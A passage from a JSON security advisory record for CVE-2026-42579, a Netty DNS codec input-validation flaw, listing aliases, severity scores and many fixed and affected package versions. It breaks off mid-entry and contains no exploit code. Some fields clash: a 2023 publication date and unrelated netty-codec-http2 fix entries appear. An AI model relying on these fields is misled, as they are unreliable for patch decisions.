{"id":"CVE-2026-42579","aliases":["CLSA-2026-1779929355","CLSA-2026-1780361386","CLSA-2026-1783386140","CLSA-2026-1783991057","CLSA-2026-1784077490","CLSA-2026-1784250522","CLSA-2026-1787271464","CLSA-2026-1787301097","CLSA-2026-1787309634","CLSA-2026-1787333890","CLSA-2026-1787383378","CLSA-2026-1787397404","CLSA-2026-1787559127","CLSA-2026-1787668954","CLSA-2026-1787673947","CLSA-2026-1787674293","CLSA-2026-1789379599","CLSA-2026-1791901028","CLSA-2026-1792665490","CLSA-2026-1792673710","CLSA-2026-1792673723","CLSA-2026-1792686278","CLSA-2026-1792692962","CLSA-2026-1792746051","CLSA-2026-1792747978","CLSA-2026-1793029439","CLSA-2026-1793030575","CLSA-2026-1793031356","CLSA-2026-1793032661","CLSA-2026-1793056279","CLSA-2026-1793084723","CLSA-2026-1793085576","CLSA-2026-1793089342","CLSA-2026-1793124868","CLSA-2026-1793126585","CLSA-2026-1793138621","CLSA-2026-1793349903","CLSA-2026-1793621110","CLSA-2026-1793707066","CLSA-2026-1793707863","CLSA-2026-1793727171","CLSA-2026-1793729502","CLSA-2026-1793734084","CLSA-2026-1793776056","CLSA-2026-1793862404","CLSA-2026-1793863753","CLSA-2026-1793864924","CLSA-2026-1793873476","CLSA-2026-1793875798","CLSA-2026-1793876992","DEBIAN-CVE-2026-42579","EUVD-2026-30122","GHSA-cm33-6792-r9fm","GHSA-mfg7-5gfp-c4w3","GHSA-v74w-7mr3-4qg3","GHSA-xpw8-rcwv-8f8p","RHLW-2026-02416b185203289c","RHLW-2026-69ca3f0d713e6636","RHSA-2026:49700","RHSA-2026:53644","RHSA-2026:53645","RHSA-2026:53646","RHSA-2026:76128","RHSA-2026:76129","RHSA-2026:76130","ROOT-APP-MAVEN-CVE-2026-42579","ROOT-APP-MAVEN-GHSA-xpw8-rcwv-8f8p","SUSE-SU-2026:2308-1","UBUNTU-CVE-2026-42579","openSUSE-SU-2026:10795-1"],"status":"published","title":"Netty: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-08","score":0.01006,"percentile":0.63244,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1286","CWE-20","CWE-400","CWE-626"],"published":"2023-10-10T22:22:54Z","modified":"2026-11-05T13:15:11Z","fixes":[{"ecosystem":"Maven","package":"io.netty:netty-codec-dns","fixed_in":["4.2.13.Final","4.1.133.Final"],"sources":["ghsa","osv"]},{"ecosystem":"Maven","package":"io.netty:netty-codec-http2","fixed_in":["4.1.100.Final"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","fixed_in":["4.1.112.Final-tuxcare.4"],"sources":["osv"]},{"ecosystem":"Red Hat Lightwell:Maven","package":"io.netty:netty-codec-dns","fixed_in":["4.1.132.Final-rhlw-00002"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.netty:netty-codec-dns","fixed_in":["4.1.126.Final-aikido.24","4.1.118.Final-aikido.25","4.1.126.Final-aikido.18","4.1.118.Final-aikido.19","4.1.126.Final-aikido.19","4.1.118.Final-aikido.20","4.1.126.Final-aikido.20","4.1.118.Final-aikido.21","4.1.126.Final-aikido.21","4.1.118.Final-aikido.22","4.1.118.Final-aikido.23","4.1.126.Final-aikido.22","4.1.126.Final-aikido.23","4.1.118.Final-aikido.24","4.1.118.Final-aikido.26"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.root.io.netty:netty-codec-dns","fixed_in":["4.1.126.Final-root.io.24","4.1.118.Final-root.io.12","4.1.126.Final-root.io.10","4.1.126.Final-root.io.11","4.1.126.Final-root.io.12","4.1.118.Final-root.io.13","4.1.118.Final-root.io.14","4.1.126.Final-root.io.13","4.1.118.Final-root.io.3","4.1.126.Final-root.io.14","4.1.118.Final-root.io.15","4.1.118.Final-root.io.25","4.1.118.Final-root.io.16","4.1.126.Final-root.io.15","4.1.126.Final-root.io.16","4.1.118.Final-root.io.17","4.1.118.Final-root.io.18","4.1.126.Final-root.io.17","4.1.126.Final-root.io.18","4.1.118.Final-root.io.19","4.1.126.Final-root.io.19","4.1.118.Final-root.io.20","4.1.126.Final-root.io.20","4.1.118.Final-root.io.21","4.1.126.Final-root.io.21","4.1.118.Final-root.io.22","4.1.118.Final-root.io.23","4.1.126.Final-root.io.22","4.1.126.Final-root.io.23","4.1.118.Final-root.io.24","4.1.118.Final-root.io.26"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.root.io.netty:netty-codec-http2","fixed_in":["4.1.97.Final-root.io.1","4.1.97.Final-root.io.2","4.1.97.Final-root.io.3","4.1.97.Final-root.io.4","4.1.97.Final-root.io.5","4.1.97.Final-root.io.6","4.1.97.Final-root.io.7"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.netty:netty-codec-http2","fixed_in":["4.1.97.Final-aikido.7"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"netty","fixed_in":["1:4.1.45-1ubuntu0.1~esm6"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"netty","fixed_in":["1:4.1.48-4+deb11u2ubuntu0.1+esm3"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"netty","fixed_in":["1:4.1.48-9ubuntu0.1+esm3"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:26.04:LTS","package":"netty","fixed_in":["1:4.1.48-16ubuntu0.1~esm2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Alpha1"},{"last_affected":"4.2.12.Final"},{"fixed":"4.2.13.Final"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.1.132.Final"},{"fixed":"4.1.133.Final"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.100.Final"}]}]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.115.Final"},{"fixed":"4.1.115.Final-tuxcare.6"}]}],"versions":["4.1.115.Final","4.1.115.Final-tuxcare.1","4.1.115.Final-tuxcare.3","4.1.115.Final-tuxcare.4","4.1.115.Final-tuxcare.5"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.115.Final"},{"fixed":"4.1.115.Final-tuxcare.6"}]}],"versions":["4.1.115.Final","4.1.115.Final-tuxcare.1","4.1.115.Final-tuxcare.3","4.1.115.Final-tuxcare.4","4.1.115.Final-tuxcare.5"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.115.Final"},{"fixed":"4.1.115.Final-tuxcare.6"}]}],"versions":["4.1.115.Final","4.1.115.Final-tuxcare.1","4.1.115.Final-tuxcare.3","4.1.115.Final-tuxcare.4","4.1.115.Final-tuxcare.5"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.112.Final"},{"fixed":"4.1.112.Final-tuxcare.4"}]}],"versions":["4.1.112.Final","4.1.112.Final-tuxcare.1","4.1.112.Final-tuxcare.2","4.1.112.Final-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.93.Final"},{"fixed":"4.1.93.Final-tuxcare.2"}]}],"versions":["4.1.93.Final","4.1.93.Final-tuxcare.1"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.93.Final"},{"fixed":"4.1.93.Final-tuxcare.2"}]}],"versions":["4.1.93.Final","4.1.93.Final-tuxcare.1"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.93.Final"},{"fixed":"4.1.93.Final-tuxcare.2"}]}],"versions":["4.1.93.Final","4.1.93.Final-tuxcare.1"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.93.Final"},{"fixed":"4.1.93.Final-tuxcare.2"}]}],"versions":["4.1.93.Final","4.1.93.Final-tuxcare.1"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.92.Final"},{"fixed":"4.1.92.Final-tuxcare.4"}]}],"versions":["4.1.92.Final","4.1.92.Final-tuxcare.1","4.1.92.Final-tuxcare.2","4.1.92.Final-tuxcare.3"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.92.Final"},{"fixed":"4.1.92.Final-tuxcare.4"}]}],"versions":["4.1.92.Final","4.1.92.Final-tuxcare.1","4.1.92.Final-tuxcare.2","4.1.92.Final-tuxcare.3"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.92.Final"},{"fixed":"4.1.92.Final-tuxcare.4"}]}],"versions":["4.1.92.Final","4.1.92.Final-tuxcare.1","4.1.92.Final-tuxcare.2","4.1.92.Final-tuxcare.3"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.92.Final"},{"fixed":"4.1.92.Final-tuxcare.4"}]}],"versions":["4.1.92.Final","4.1.92.Final-tuxcare.1","4.1.92.Final-tuxcare.2","4.1.92.Final-tuxcare.3"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.92.Final"},{"fixed":"4.1.92.Final-tuxcare.4"}]}],"versions":["4.1.92.Final","4.1.92.Final-tuxcare.1","4.1.92.Final-tuxcare.2","4.1.92.Final-tuxcare.3"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.117.Final"},{"fixed":"4.1.117.Final-tuxcare.1"}]}],"versions":["4.1.117.Final"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.117.Final"},{"fixed":"4.1.117.Final-tuxcare.1"}]}],"versions":["4.1.117.Final"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.117.Final"},{"fixed":"4.1.117.Final-tuxcare.1"}]}],"versions":["4.1.117.Final"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.117.Final"},{"fixed":"4.1.117.Final-tuxcare.1"}]}],"versions":["4.1.117.Final"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.1"}]}],"versions":["4.1.130.Final"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.1"}]}],"versions":["4.1.130.Final"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.1"}]}],"versions":["4.1.130.Final"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.1"}]}],"versions":["4.1.130.Final"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.1"}]}],"versions":["4.1.130.Final"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.1"}]}],"versions":["4.1.130.Final"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.1"}]}],"versions":["4.1.130.Final"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.122.Final"},{"fixed":"4.1.122.Final-tuxcare.2"}]}],"versions":["4.1.122.Final","4.1.122.Final-tuxcare.1"],"bundled":57},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.119.Final"},{"fixed":"4.1.119.Final-tuxcare.1"}]}],"versions":["4.1.119.Final"],"bundled":58},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ran